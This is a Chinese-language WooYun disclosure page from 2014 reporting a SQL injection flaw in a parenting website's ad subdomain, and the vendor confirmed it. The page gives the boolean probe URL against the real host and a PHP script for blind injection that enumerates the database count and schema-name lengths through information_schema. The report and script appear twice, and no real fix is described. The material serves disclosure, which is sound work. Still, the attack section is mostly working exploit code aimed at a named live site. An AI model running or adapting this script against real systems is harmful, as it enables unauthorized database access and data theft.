当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-059773

漏洞标题:好孩子育儿网分站SQL注入或可爆破表

相关厂商:好孩子育儿网

漏洞作者: Rain

提交时间:2014-05-07 15:32

修复时间:2014-06-21 15:33

公开时间:2014-06-21 15:33

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-07: 细节已通知厂商并且等待厂商处理中
2014-05-07: 厂商已经确认,细节仅向厂商公开
2014-05-17: 细节向核心白帽子及相关领域专家公开
2014-05-27: 细节向普通白帽子公开
2014-06-06: 细节向实习白帽子公开
2014-06-21: 细节向公众公开

简要描述:

好孩子育儿网分站SQL注入或可爆破表

详细说明:

url地址:http://ad.goodbaby.com/multi.php?ids=54545
int类型注入
http://ad.goodbaby.com/multi.php?ids=54545
没有记录
http://ad.goodbaby.com/multi.php?ids=54545 or 1<2--
得到所有记录

1.jpg


判断有注入点,写一个php 测试一下

<?php
//here test for database counts include system database
$url = 'http://ad.goodbaby.com/multi.php?ids=54545';
$parameter = ' or (select count(1) from information_schema.SCHEMATA)=';
$dbcount = 0;
for ($i = 1; $i < 100; $i++)
{
$ret = file_get_contents($url.urlencode($parameter).$i);
if (strlen($ret) > 300)
{
$dbcount = $i;
//here output: find database counts: 12
echo 'find database counts: '.$i,PHP_EOL;
break;
}
}
//now we try to output all of databases name
$where = ' where 1 ';
for ($i = 0; $i < $dbcount; $i++)
{
$dblen = 0;
for ($j = 1; $j < 50; $j++)
{
$parameter = ' or (select length(SCHEMA_NAME) from information_schema.SCHEMATA '.$where.' LIMIT 1)='.$j;
//echo $url.($parameter);die;
$ret = file_get_contents($url.urlencode($parameter));
if (strlen($ret) > 300)
{
$dblen = $j;
$where .= ' and length(SCHEMA_NAME) <> '.$j;
echo 'find database '.($i + 1).' string length : '.$j,' so we try to get database name',PHP_EOL;
break;
}
}
}


1.jpg

漏洞证明:

url地址:http://ad.goodbaby.com/multi.php?ids=54545
int类型注入
http://ad.goodbaby.com/multi.php?ids=54545
没有记录
http://ad.goodbaby.com/multi.php?ids=54545 or 1<2--
得到所有记录

1.jpg


判断有注入点,写一个php 测试一下

<?php
//here test for database counts include system database
$url = 'http://ad.goodbaby.com/multi.php?ids=54545';
$parameter = ' or (select count(1) from information_schema.SCHEMATA)=';
$dbcount = 0;
for ($i = 1; $i < 100; $i++)
{
$ret = file_get_contents($url.urlencode($parameter).$i);
if (strlen($ret) > 300)
{
$dbcount = $i;
//here output: find database counts: 12
echo 'find database counts: '.$i,PHP_EOL;
break;
}
}
//now we try to output all of databases name
$where = ' where 1 ';
for ($i = 0; $i < $dbcount; $i++)
{
$dblen = 0;
for ($j = 1; $j < 50; $j++)
{
$parameter = ' or (select length(SCHEMA_NAME) from information_schema.SCHEMATA '.$where.' LIMIT 1)='.$j;
//echo $url.($parameter);die;
$ret = file_get_contents($url.urlencode($parameter));
if (strlen($ret) > 300)
{
$dblen = $j;
$where .= ' and length(SCHEMA_NAME) <> '.$j;
echo 'find database '.($i + 1).' string length : '.$j,' so we try to get database name',PHP_EOL;
break;
}
}
}


1.jpg

修复方案:

你懂得

版权声明:转载请注明来源 Rain@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-05-07 23:52

厂商回复:

感谢你对goodbaby安全的关注

最新状态:

暂无